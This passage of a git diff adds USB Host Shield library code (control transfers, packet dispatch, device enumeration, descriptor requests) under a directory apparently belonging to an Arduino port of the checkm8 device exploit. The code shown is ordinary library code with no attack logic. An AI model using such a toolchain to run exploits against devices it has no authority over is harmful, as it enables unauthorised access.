uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, + uint16_t wInd, uint16_t total, uint16_t nbytes, uint8_t* dataptr, USBReadParser *p) { + bool direction = false; //request direction, IN or OUT + uint8_t rcode; + SETUP_PKT setup_pkt; + + EpInfo *pep = NULL; + uint16_t nak_limit = 0; + + rcode = SetAddress(addr, ep, &pep, &nak_limit); + + if(rcode) + return rcode; + + direction = ((bmReqType & 0x80) > 0); + + /* fill in setup packet */ + setup_pkt.ReqType_u.bmRequestType = bmReqType; + setup_pkt.bRequest = bRequest; + setup_pkt.wVal_u.wValueLo = wValLo; + setup_pkt.wVal_u.wValueHi = wValHi; + setup_pkt.wIndex = wInd; + setup_pkt.wLength = total; + + bytesWr(rSUDFIFO, 8, (uint8_t*) & setup_pkt); //transfer to setup packet FIFO + + rcode = dispatchPkt(tokSETUP, ep, nak_limit); //dispatch packet + + if(rcode) //return HRSLT if not zero + return ( rcode); + + if(dataptr != NULL) //data stage, if present + { + if(direction) //IN transfer + { + uint16_t left = total; + + pep->bmRcvToggle = 1; //bmRCVTOG1; + + while(left) { + // Bytes read into buffer +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + uint16_t read = nbytes; + //uint16_t read = (leftbmRcvToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1; + continue; + } + + if(rcode) + return rcode; + + // Invoke callback function if inTransfer completed successfully and callback function pointer is specified + if(!rcode && p) + ((USBReadParser*)p)->Parse(read, dataptr, total - left); + + left -= read; + + if(read < nbytes) + break; + } + } else //OUT transfer + { + pep->bmSndToggle = 1; //bmSNDTOG1; + rcode = OutTransfer(pep, nak_limit, nbytes, dataptr); + } + if(rcode) //return error + return ( rcode); + } + // Status stage + return dispatchPkt((direction) ? tokOUTHS : tokINHS, ep, nak_limit); //GET if direction +} + +uint8_t USB::ctrlReq_SETUP(uint8_t addr, uint8_t ep, uint8_t bmReqType, uint8_t bRequest, uint8_t wValLo, uint8_t wValHi, + uint16_t wInd, uint16_t total) { + bool direction = false; //request direction, IN or OUT + uint8_t rcode; + SETUP_PKT setup_pkt; + + EpInfo *pep = NULL; + uint16_t nak_limit = 0; + + rcode = SetAddress(addr, ep, &pep, &nak_limit); + + if(rcode) + return rcode; + + direction = ((bmReqType & 0x80) > 0); + + /* fill in setup packet */ + setup_pkt.ReqType_u.bmRequestType = bmReqType; + setup_pkt.bRequest = bRequest; + setup_pkt.wVal_u.wValueLo = wValLo; + setup_pkt.wVal_u.wValueHi = wValHi; + setup_pkt.wIndex = wInd; + setup_pkt.wLength = total; + + bytesWr(rSUDFIFO, 8, (uint8_t*) & setup_pkt); //transfer to setup packet FIFO + + rcode = dispatchPkt(tokSETUP, ep, nak_limit); //dispatch packet + + return rcode; +} + +/* IN transfer to arbitrary endpoint. Assumes PERADDR is set. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */ +/* Keep sending INs and writes data to memory area pointed by 'data' */ + +/* rcode 0 if no errors. rcode 01-0f is relayed from dispatchPkt(). Rcode f0 means RCVDAVIRQ error, + fe USB xfer timeout */ +uint8_t USB::inTransfer(uint8_t addr, uint8_t ep, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) { + EpInfo *pep = NULL; + uint16_t nak_limit = 0; + + uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit); + + if(rcode) { + USBTRACE3("(USB::InTransfer) SetAddress Failed ", rcode, 0x81); + USBTRACE3("(USB::InTransfer) addr requested ", addr, 0x81); + USBTRACE3("(USB::InTransfer) ep requested ", ep, 0x81); + return rcode; + } + return InTransfer(pep, nak_limit, nbytesptr, data, bInterval); +} + +uint8_t USB::InTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t *nbytesptr, uint8_t* data, uint8_t bInterval /*= 0*/) { + uint8_t rcode = 0; + uint8_t pktsize; + + uint16_t nbytes = *nbytesptr; + //printf("Requesting %i bytes ", nbytes); + uint8_t maxpktsize = pep->maxPktSize; + + *nbytesptr = 0; + regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value + + // use a 'break' to exit this loop + while(1) { +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + rcode = dispatchPkt(tokIN, pep->epAddr, nak_limit); //IN packet to EP-'endpoint'. Function takes care of NAKS. + if(rcode == hrTOGERR) { + // yes, we flip it wrong here so that next time it is actually correct! + pep->bmRcvToggle = (regRd(rHRSL) & bmRCVTOGRD) ? 0 : 1; + regWr(rHCTL, (pep->bmRcvToggle) ? bmRCVTOG1 : bmRCVTOG0); //set toggle value + continue; + } + if(rcode) { + //printf(">>>>>>>> Problem! dispatchPkt %2.2x\r\n", rcode); + break; //should be 0, indicating ACK. Else return error code. + } + /* check for RCVDAVIRQ and generate error if not present + * the only case when absence of RCVDAVIRQ makes sense is when toggle error occurred. + * Need to add handling for that + * + * NOTE: I've seen this happen with SPI corruption -- xxxajk + */ + if((regRd(rHIRQ) & bmRCVDAVIRQ) == 0) { + //printf(">>>>>>>> Problem! NO RCVDAVIRQ!\r\n"); + rcode = 0xf0; //receive error + break; + } + pktsize = regRd(rRCVBC); //number of received bytes + //printf("Got %i bytes \r\n", pktsize); + // This would be OK, but... + //assert(pktsize <= nbytes); + if(pktsize > nbytes) { + // This can happen. Use of assert on Arduino locks up the Arduino. + // So I will trim the value, and hope for the best. + //printf(">>>>>>>> Problem! Wanted %i bytes but got %i.\r\n", nbytes, pktsize); + pktsize = nbytes; + } + + int16_t mem_left = (int16_t)nbytes - *((int16_t*)nbytesptr); + + if(mem_left < 0) + mem_left = 0; + + data = bytesRd(rRCVFIFO, ((pktsize > mem_left) ? mem_left : pktsize), data); + + regWr(rHIRQ, bmRCVDAVIRQ); // Clear the IRQ & free the buffer + *nbytesptr += pktsize; // add this packet's byte count to total transfer length + + /* The transfer is complete under two conditions: */ + /* 1. The device sent a short packet (L.T. maxPacketSize) */ + /* 2. 'nbytes' have been transferred. */ + if((pktsize < maxpktsize) || (*nbytesptr >= nbytes)) // have we transferred 'nbytes' bytes? + { + // Save toggle value + pep->bmRcvToggle = ((regRd(rHRSL) & bmRCVTOGRD)) ? 1 : 0; + //printf("\r\n"); + rcode = 0; + break; + } else if(bInterval > 0) + delay(bInterval); // Delay according to polling interval + } //while( 1 ) + return ( rcode); +} + +/* OUT transfer to arbitrary endpoint. Handles multiple packets if necessary. Transfers 'nbytes' bytes. */ +/* Handles NAK bug per Maxim Application Note 4000 for single buffer transfer */ + +/* rcode 0 if no errors. rcode 01-0f is relayed from HRSL */ +uint8_t USB::outTransfer(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* data) { + EpInfo *pep = NULL; + uint16_t nak_limit = 0; + + uint8_t rcode = SetAddress(addr, ep, &pep, &nak_limit); + + if(rcode) + return rcode; + + return OutTransfer(pep, nak_limit, nbytes, data); +} + +uint8_t USB::OutTransfer(EpInfo *pep, uint16_t nak_limit, uint16_t nbytes, uint8_t *data) { + uint8_t rcode = hrSUCCESS, retry_count; + uint8_t *data_p = data; //local copy of the data pointer + uint16_t bytes_tosend, nak_count; + uint16_t bytes_left = nbytes; + + uint8_t maxpktsize = pep->maxPktSize; + + if(maxpktsize < 1 || maxpktsize > 64) + return USB_ERROR_INVALID_MAX_PKT_SIZE; + + uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT; + + regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value + + while(bytes_left) { +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + retry_count = 0; + nak_count = 0; + bytes_tosend = (bytes_left >= maxpktsize) ? maxpktsize : bytes_left; + bytesWr(rSNDFIFO, bytes_tosend, data_p); //filling output FIFO + regWr(rSNDBC, bytes_tosend); //set number of bytes + regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet + while(!(regRd(rHIRQ) & bmHXFRDNIRQ)){ +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + } //wait for the completion IRQ + regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ + rcode = (regRd(rHRSL) & 0x0f); + + while(rcode && ((int32_t)((uint32_t)millis() - timeout) < 0L)) { +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + switch(rcode) { + case hrNAK: + nak_count++; + if(nak_limit && (nak_count == nak_limit)) + goto breakout; + //return ( rcode); + break; + case hrTIMEOUT: + retry_count++; + if(retry_count == USB_RETRY_LIMIT) + goto breakout; + //return ( rcode); + break; + case hrTOGERR: + // yes, we flip it wrong here so that next time it is actually correct! + pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 0 : 1; + regWr(rHCTL, (pep->bmSndToggle) ? bmSNDTOG1 : bmSNDTOG0); //set toggle value + break; + default: + goto breakout; + }//switch( rcode + + /* process NAK according to Host out NAK bug */ + regWr(rSNDBC, 0); + regWr(rSNDFIFO, *data_p); + regWr(rSNDBC, bytes_tosend); + regWr(rHXFR, (tokOUT | pep->epAddr)); //dispatch packet + while(!(regRd(rHIRQ) & bmHXFRDNIRQ)){ +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + } //wait for the completion IRQ + regWr(rHIRQ, bmHXFRDNIRQ); //clear IRQ + rcode = (regRd(rHRSL) & 0x0f); + }//while( rcode && .... + bytes_left -= bytes_tosend; + data_p += bytes_tosend; + }//while( bytes_left... +breakout: + + pep->bmSndToggle = (regRd(rHRSL) & bmSNDTOGRD) ? 1 : 0; //bmSNDTOG1 : bmSNDTOG0; //update toggle + return ( rcode); //should be 0 in all cases +} +/* dispatch USB packet. Assumes peripheral address is set and relevant buffer is loaded/empty */ +/* If NAK, tries to re-send up to nak_limit times */ +/* If nak_limit == 0, do not count NAKs, exit after timeout */ +/* If bus timeout, re-sends up to USB_RETRY_LIMIT times */ + +/* return codes 0x00-0x0f are HRSLT( 0x00 being success ), 0xff means timeout */ +uint8_t USB::dispatchPkt(uint8_t token, uint8_t ep, uint16_t nak_limit) { + uint32_t timeout = (uint32_t)millis() + USB_XFER_TIMEOUT; + uint8_t tmpdata; + uint8_t rcode = hrSUCCESS; + uint8_t retry_count = 0; + uint16_t nak_count = 0; + + while((int32_t)((uint32_t)millis() - timeout) < 0L) { +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + regWr(rHXFR, (token | ep)); //launch the transfer + rcode = USB_ERROR_TRANSFER_TIMEOUT; + + while((int32_t)((uint32_t)millis() - timeout) < 0L) //wait for transfer completion + { +#if defined(ESP8266) || defined(ESP32) + yield(); // needed in order to reset the watchdog timer on the ESP8266 +#endif + tmpdata = regRd(rHIRQ); + + if(tmpdata & bmHXFRDNIRQ) { + regWr(rHIRQ, bmHXFRDNIRQ); //clear the interrupt + rcode = 0x00; + break; + }//if( tmpdata & bmHXFRDNIRQ + + }//while ( millis() < timeout + + //if (rcode != 0x00) //exit if timeout + // return ( rcode); + + rcode = (regRd(rHRSL) & 0x0f); //analyze transfer result + + switch(rcode) { + case hrNAK: + nak_count++; + if(nak_limit && (nak_count == nak_limit)) + return (rcode); + break; + case hrTIMEOUT: + retry_count++; + if(retry_count == USB_RETRY_LIMIT) + return (rcode); + break; + default: + return (rcode); + }//switch( rcode + + }//while( timeout > millis() + return ( rcode); +} + +/* USB main task. Performs enumeration/cleanup */ +void USB::Task(void) //USB state machine +{ + uint8_t rcode; + uint8_t tmpdata; + static uint32_t delay = 0; + //USB_DEVICE_DESCRIPTOR buf; + bool lowspeed = false; + + MAX3421E::Task(); + + tmpdata = getVbusState(); + + /* modify USB task state if Vbus changed */ + switch(tmpdata) { + case SE1: //illegal state + usb_task_state = USB_DETACHED_SUBSTATE_ILLEGAL; + lowspeed = false; + break; + case SE0: //disconnected + if((usb_task_state & USB_STATE_MASK) != USB_STATE_DETACHED) + usb_task_state = USB_DETACHED_SUBSTATE_INITIALIZE; + lowspeed = false; + break; + case LSHOST: + + lowspeed = true; + //intentional fallthrough + case FSHOST: //attached + if((usb_task_state & USB_STATE_MASK) == USB_STATE_DETACHED) { + delay = (uint32_t)millis() + USB_SETTLE_DELAY; + usb_task_state = USB_ATTACHED_SUBSTATE_SETTLE; + } + break; + }// switch( tmpdata + + for(uint8_t i = 0; i < USB_NUMDEVICES; i++) + if(devConfig[i]) + rcode = devConfig[i]->Poll(); + + switch(usb_task_state) { + case USB_DETACHED_SUBSTATE_INITIALIZE: + init(); + + for(uint8_t i = 0; i < USB_NUMDEVICES; i++) + if(devConfig[i]) + rcode = devConfig[i]->Release(); + + usb_task_state = USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE; + break; + case USB_DETACHED_SUBSTATE_WAIT_FOR_DEVICE: //just sit here + break; + case USB_DETACHED_SUBSTATE_ILLEGAL: //just sit here + break; + case USB_ATTACHED_SUBSTATE_SETTLE: //settle time for just attached device + if((int32_t)((uint32_t)millis() - delay) >= 0L) + usb_task_state = USB_ATTACHED_SUBSTATE_RESET_DEVICE; + else break; // don't fall through + case USB_ATTACHED_SUBSTATE_RESET_DEVICE: + regWr(rHCTL, bmBUSRST); //issue bus reset + usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE; + break; + case USB_ATTACHED_SUBSTATE_WAIT_RESET_COMPLETE: + if((regRd(rHCTL) & bmBUSRST) == 0) { + tmpdata = regRd(rMODE) | bmSOFKAENAB; //start SOF generation + regWr(rMODE, tmpdata); + usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_SOF; + //delay = (uint32_t)millis() + 20; //20ms wait after reset per USB spec + } + break; + case USB_ATTACHED_SUBSTATE_WAIT_SOF: //todo: change check order + if(regRd(rHIRQ) & bmFRAMEIRQ) { + //when first SOF received _and_ 20ms has passed we can continue + /* + if (delay < (uint32_t)millis()) //20ms passed + usb_task_state = USB_STATE_CONFIGURING; + */ + usb_task_state = USB_ATTACHED_SUBSTATE_WAIT_RESET; + delay = (uint32_t)millis() + 20; + } + break; + case USB_ATTACHED_SUBSTATE_WAIT_RESET: + if((int32_t)((uint32_t)millis() - delay) >= 0L) usb_task_state = USB_STATE_CONFIGURING; + else break; // don't fall through + case USB_STATE_CONFIGURING: + + //Serial.print("\r\nConf.LS: "); + //Serial.println(lowspeed, HEX); + + rcode = Configuring(0, 0, lowspeed); + + if(rcode) { + if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE) { + usb_error = rcode; + usb_task_state = USB_STATE_ERROR; + } + } else + usb_task_state = USB_STATE_RUNNING; + break; + case USB_STATE_RUNNING: + break; + case USB_STATE_ERROR: + //MAX3421E::Init(); + break; + } // switch( usb_task_state ) +} + +uint8_t USB::DefaultAddressing(uint8_t parent, uint8_t port, bool lowspeed) { + //uint8_t buf[12]; + uint8_t rcode; + UsbDevice *p0 = NULL, *p = NULL; + + // Get pointer to pseudo device with address 0 assigned + p0 = addrPool.GetUsbDevicePtr(0); + + if(!p0) + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + + if(!p0->epinfo) + return USB_ERROR_EPINFO_IS_NULL; + + p0->lowspeed = (lowspeed) ? true : false; + + // Allocate new address according to device class + uint8_t bAddress = addrPool.AllocAddress(parent, false, port); + + if(!bAddress) + return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; + + p = addrPool.GetUsbDevicePtr(bAddress); + + if(!p) + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + + p->lowspeed = lowspeed; + + // Assign new address to the device + rcode = setAddr(0, 0, bAddress); + + if(rcode) { + addrPool.FreeAddress(bAddress); + bAddress = 0; + return rcode; + } + return 0; +}; + +uint8_t USB::AttemptConfig(uint8_t driver, uint8_t parent, uint8_t port, bool lowspeed) { + //printf("AttemptConfig: parent = %i, port = %i\r\n", parent, port); + uint8_t retries = 0; + +again: + uint8_t rcode = devConfig[driver]->ConfigureDevice(parent, port, lowspeed); + if(rcode == USB_ERROR_CONFIG_REQUIRES_ADDITIONAL_RESET) { + if(parent == 0) { + // Send a bus reset on the root interface. + regWr(rHCTL, bmBUSRST); //issue bus reset + delay(102); // delay 102ms, compensate for clock inaccuracy. + } else { + // reset parent port + devConfig[parent]->ResetHubPort(port); + } + } else if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works + delay(100); + retries++; + goto again; + } else if(rcode) + return rcode; + + rcode = devConfig[driver]->Init(parent, port, lowspeed); + if(rcode == hrJERR && retries < 3) { // Some devices returns this when plugged in - trying to initialize the device again usually works + delay(100); + retries++; + goto again; + } + if(rcode) { + // Issue a bus reset, because the device may be in a limbo state + if(parent == 0) { + // Send a bus reset on the root interface. + regWr(rHCTL, bmBUSRST); //issue bus reset + delay(102); // delay 102ms, compensate for clock inaccuracy. + } else { + // reset parent port + devConfig[parent]->ResetHubPort(port); + } + } + return rcode; +} + +/* + * This is broken. We need to enumerate differently. + * It causes major problems with several devices if detected in an unexpected order. + * + * + * Oleg - I wouldn't do anything before the newly connected device is considered sane. + * i.e.(delays are not indicated for brevity): + * 1. reset + * 2. GetDevDescr(); + * 3a. If ACK, continue with allocating address, addressing, etc. + * 3b. Else reset again, count resets, stop at some number (5?). + * 4. When max.number of resets is reached, toggle power/fail + * If desired, this could be modified by performing two resets with GetDevDescr() in the middle - however, from my experience, if a device answers to GDD() + * it doesn't need to be reset again + * New steps proposal: + * 1: get address pool instance. exit on fail + * 2: pUsb->getDevDescr(0, 0, constBufSize, (uint8_t*)buf). exit on fail. + * 3: bus reset, 100ms delay + * 4: set address + * 5: pUsb->setEpInfoEntry(bAddress, 1, epInfo), exit on fail + * 6: while (configurations) { + * for(each configuration) { + * for (each driver) { + * 6a: Ask device if it likes configuration. Returns 0 on OK. + * If successful, the driver configured device. + * The driver now owns the endpoints, and takes over managing them. + * The following will need codes: + * Everything went well, instance consumed, exit with success. + * Instance already in use, ignore it, try next driver. + * Not a supported device, ignore it, try next driver. + * Not a supported configuration for this device, ignore it, try next driver. + * Could not configure device, fatal, exit with fail. + * } + * } + * } + * 7: for(each driver) { + * 7a: Ask device if it knows this VID/PID. Acts exactly like 6a, but using VID/PID + * 8: if we get here, no driver likes the device plugged in, so exit failure. + * + */ +uint8_t USB::Configuring(uint8_t parent, uint8_t port, bool lowspeed) { + //uint8_t bAddress = 0; + //printf("Configuring: parent = %i, port = %i\r\n", parent, port); + uint8_t devConfigIndex; + uint8_t rcode = 0; + uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; + USB_DEVICE_DESCRIPTOR *udd = reinterpret_cast(buf); + UsbDevice *p = NULL; + EpInfo *oldep_ptr = NULL; + EpInfo epInfo; + + epInfo.epAddr = 0; + epInfo.maxPktSize = 8; + epInfo.bmSndToggle = 0; + epInfo.bmRcvToggle = 0; + epInfo.bmNakPower = USB_NAK_MAX_POWER; + + //delay(2000); + AddressPool &addrPool = GetAddressPool(); + // Get pointer to pseudo device with address 0 assigned + p = addrPool.GetUsbDevicePtr(0); + if(!p) { + //printf("Configuring error: USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL\r\n"); + return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; + } + + // Save old pointer to EP_RECORD of address 0 + oldep_ptr = p->epinfo; + + // Temporary assign new pointer to epInfo to p->epinfo in order to + // avoid toggle inconsistence + + p->epinfo = &epInfo; + + p->lowspeed = lowspeed; + // Get device descriptor + rcode = getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); + + // Restore p->epinfo + p->epinfo = oldep_ptr; + + if(rcode) { + //printf("Configuring error: Can't get USB_DEVICE_DESCRIPTOR\r\n"); + return rcode; + } + + // to-do? + // Allocate new address according to device class + //bAddress = addrPool.AllocAddress(parent, false, port); + + uint16_t vid = udd->idVendor; + uint16_t pid = udd->idProduct; + uint8_t klass = udd->bDeviceClass; + uint8_t subklass = udd->bDeviceSubClass; + // Attempt to configure if VID/PID or device class matches with a driver + // Qualify with subclass too. + // + // VID/PID & class tests default to false for drivers not yet ported + // subclass defaults to true, so you don't have to define it if you don't have to. + // + for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) { + if(!devConfig[devConfigIndex]) continue; // no driver + if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed + if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) { + rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed); + if(rcode != USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED) + break; + } + } + + if(devConfigIndex < USB_NUMDEVICES) { + return rcode; + } + + + // blindly attempt to configure + for(devConfigIndex = 0; devConfigIndex < USB_NUMDEVICES; devConfigIndex++) { + if(!devConfig[devConfigIndex]) continue; + if(devConfig[devConfigIndex]->GetAddress()) continue; // consumed + if(devConfig[devConfigIndex]->DEVSUBCLASSOK(subklass) && (devConfig[devConfigIndex]->VIDPIDOK(vid, pid) || devConfig[devConfigIndex]->DEVCLASSOK(klass))) continue; // If this is true it means it must have returned USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED above + rcode = AttemptConfig(devConfigIndex, parent, port, lowspeed); + + //printf("ERROR ENUMERATING %2.2x\r\n", rcode); + if(!(rcode == USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED || rcode == USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE)) { + // in case of an error dev_index should be reset to 0 + // in order to start from the very beginning the + // next time the program gets here + //if (rcode != USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE) + // devConfigIndex = 0; + return rcode; + } + } + // if we get here that means that the device class is not supported by any of registered classes + rcode = DefaultAddressing(parent, port, lowspeed); + + return rcode; +} + +uint8_t USB::ReleaseDevice(uint8_t addr) { + if(!addr) + return 0; + + for(uint8_t i = 0; i < USB_NUMDEVICES; i++) { + if(!devConfig[i]) continue; + if(devConfig[i]->GetAddress() == addr) + return devConfig[i]->Release(); + } + return 0; +} + +#if 1 //!defined(USB_METHODS_INLINE) +//get device descriptor + +uint8_t USB::getDevDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, 0x00, USB_DESCRIPTOR_DEVICE, 0x0000, nbytes, nbytes, dataptr, NULL)); +} +//get configuration descriptor + +uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint16_t nbytes, uint8_t conf, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, nbytes, nbytes, dataptr, NULL)); +} + +/* Requests Configuration Descriptor. Sends two Get Conf Descr requests. The first one gets the total length of all descriptors, then the second one requests this + total length. The length of the first request can be shorter ( 4 bytes ), however, there are devices which won't work unless this length is set to 9 */ +uint8_t USB::getConfDescr(uint8_t addr, uint8_t ep, uint8_t conf, USBReadParser *p) { + const uint8_t bufSize = 64; + uint8_t buf[bufSize]; + USB_CONFIGURATION_DESCRIPTOR *ucd = reinterpret_cast(buf); + + uint8_t ret = getConfDescr(addr, ep, 9, conf, buf); + + if(ret) + return ret; + + uint16_t total = ucd->wTotalLength; + + //USBTRACE2("\r\ntotal conf.size:", total); + + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, conf, USB_DESCRIPTOR_CONFIGURATION, 0x0000, total, bufSize, buf, p)); +} + +//get string descriptor + +uint8_t USB::getStrDescr(uint8_t addr, uint8_t ep, uint16_t ns, uint8_t index, uint16_t langid, uint8_t* dataptr) { + return ( ctrlReq(addr, ep, bmREQ_GET_DESCR, USB_REQUEST_GET_DESCRIPTOR, index, USB_DESCRIPTOR_STRING, langid, ns, ns, dataptr, NULL)); +} +//set address + +uint8_t USB::setAddr(uint8_t oldaddr, uint8_t ep, uint8_t newaddr) { + uint8_t rcode = ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL); + //delay(2); //per USB 2.0 sect.9.2.6.3 + delay(300); // Older spec says you should wait at least 200ms + return rcode; + //return ( ctrlReq(oldaddr, ep, bmREQ_SET, USB_REQUEST_SET_ADDRESS, newaddr, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL)); +} +//set configuration + +uint8_t USB::setConf(uint8_t addr, uint8_t ep, uint8_t conf_value) { + return ( ctrlReq(addr, ep, bmREQ_SET, USB_REQUEST_SET_CONFIGURATION, conf_value, 0x00, 0x0000, 0x0000, 0x0000, NULL, NULL)); +} + +#endif // defined(USB_METHODS_INLINE) diff --git a/checkm8_arduino/lib/hostshield/UsbCore.h b/checkm8_arduino/lib/hostshield/UsbCore.h new file mode 100644 index 0000000..ca9a3b0 --- /dev/null +++ b/checkm8_arduino/lib/hostshield/UsbCore.h @@ -0,0 +1,312 @@ +/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +Contact information +------------------- + +Circuits At Home, LTD +Web : http://www.circuitsathome.com +e-mail : support@circuitsathome.com + */ + +#if !defined(_usb_h_) || defined(USBCORE_H) +#error "Never include UsbCore.h directly; include Usb.h instead" +#else +#define USBCORE_H + +// Not used anymore? If anyone uses this, please let us know so that this may be +// moved to the proper place, settings.h. +//#define USB_METHODS_INLINE + +/* shield pins. First parameter - SS pin, second parameter - INT pin */ +#ifdef BOARD_BLACK_WIDDOW +typedef MAX3421e MAX3421E; // Black Widow +#elif defined(CORE_TEENSY) && (defined(__AVR_AT90USB646__) || defined(__AVR_AT90USB1286__)) +#if EXT_RAM +typedef MAX3421e MAX3421E; // Teensy++ 2.0 with XMEM2 +#else +typedef MAX3421e MAX3421E; // Teensy++ 1.0 and 2.0 +#endif +#elif defined(BOARD_MEGA_ADK) +typedef MAX3421e MAX3421E; // Arduino Mega ADK +#elif defined(ARDUINO_AVR_BALANDUINO) +typedef MAX3421e MAX3421E; // Balanduino +#elif defined(__ARDUINO_X86__) && PLATFORM_ID == 0x06 +typedef MAX3421e MAX3421E; // The Intel Galileo supports much faster read and write speed at pin 2 and 3 +#elif defined(ESP8266) +typedef MAX3421e MAX3421E; // ESP8266 boards +#elif defined(ESP32) +typedef MAX3421e MAX3421E; // ESP32 boards +#elif (defined(__AVR_ATmega644P__) || defined(__AVR_ATmega1284P__)) +typedef MAX3421e MAX3421E; // Sanguino +#else +typedef MAX3421e MAX3421E; // Official Arduinos (UNO, Duemilanove, Mega, 2560, Leonardo, Due etc.), Intel Edison, Intel Galileo 2 or Teensy 2.0 and 3.x +#endif + +/* Common setup data constant combinations */ +#define bmREQ_GET_DESCR USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE //get descriptor request type +#define bmREQ_SET USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_STANDARD|USB_SETUP_RECIPIENT_DEVICE //set request type for all but 'set feature' and 'set interface' +#define bmREQ_CL_GET_INTF USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_INTERFACE //get interface request type + +// D7 data transfer direction (0 - host-to-device, 1 - device-to-host) +// D6-5 Type (0- standard, 1 - class, 2 - vendor, 3 - reserved) +// D4-0 Recipient (0 - device, 1 - interface, 2 - endpoint, 3 - other, 4..31 - reserved) + +// USB Device Classes +#define USB_CLASS_USE_CLASS_INFO 0x00 // Use Class Info in the Interface Descriptors +#define USB_CLASS_AUDIO 0x01 // Audio +#define USB_CLASS_COM_AND_CDC_CTRL 0x02 // Communications and CDC Control +#define USB_CLASS_HID 0x03 // HID +#define USB_CLASS_PHYSICAL 0x05 // Physical +#define USB_CLASS_IMAGE 0x06 // Image +#define USB_CLASS_PRINTER 0x07 // Printer +#define USB_CLASS_MASS_STORAGE 0x08 // Mass Storage +#define USB_CLASS_HUB 0x09 // Hub +#define USB_CLASS_CDC_DATA 0x0a // CDC-Data +#define USB_CLASS_SMART_CARD 0x0b // Smart-Card +#define USB_CLASS_CONTENT_SECURITY 0x0d // Content Security +#define USB_CLASS_VIDEO 0x0e // Video +#define USB_CLASS_PERSONAL_HEALTH 0x0f // Personal Healthcare +#define USB_CLASS_DIAGNOSTIC_DEVICE 0xdc // Diagnostic Device +#define USB_CLASS_WIRELESS_CTRL 0xe0 // Wireless Controller +#define USB_CLASS_MISC 0xef // Miscellaneous +#define USB_CLASS_APP_SPECIFIC 0xfe // Application Specific +#define USB_CLASS_VENDOR_SPECIFIC 0xff // Vendor Specific + +// Additional Error Codes +#define USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED 0xD1 +#define USB_DEV_CONFIG_ERROR_DEVICE_INIT_INCOMPLETE 0xD2 +#define USB_ERROR_UNABLE_TO_REGISTER_DEVICE_CLASS 